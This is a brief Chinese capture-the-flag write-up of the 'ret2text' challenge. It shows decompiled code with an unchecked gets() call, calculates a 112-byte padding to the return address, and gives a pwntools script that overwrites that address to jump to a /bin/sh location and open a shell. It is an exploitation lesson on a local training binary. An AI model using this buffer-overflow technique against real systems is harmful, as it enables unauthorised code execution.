原文引用https://www.dazhuanlan.com/2019/08/25/5d622cf80cbe3/
查看进程基本信息
开启了NX,代表着栈上的数据是不可执行的
运行进程看一下
进程只有一个输入点,下面将进程拖入ida
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(&s);
printf("Maybe I will tell you next time !");
return 0;
}
看到了无输入限制的gets函数,我们接下来计算一下进程gets函数的返回地址
可以看到地址是0x62616164,下面计算我们需要填充的字节数
需要填充112个无用字符
接下来我们在ida中查看是否存在/bin/sh
在地址0x0804863A处存在/bin/sh
接下来编写shell脚本
from pwn import *
p = process("./ret2text")
p.recvuntil('anything?n')
p.sendline('a'*112+p32(0x0804863A))
p.interactive()
成功获得权限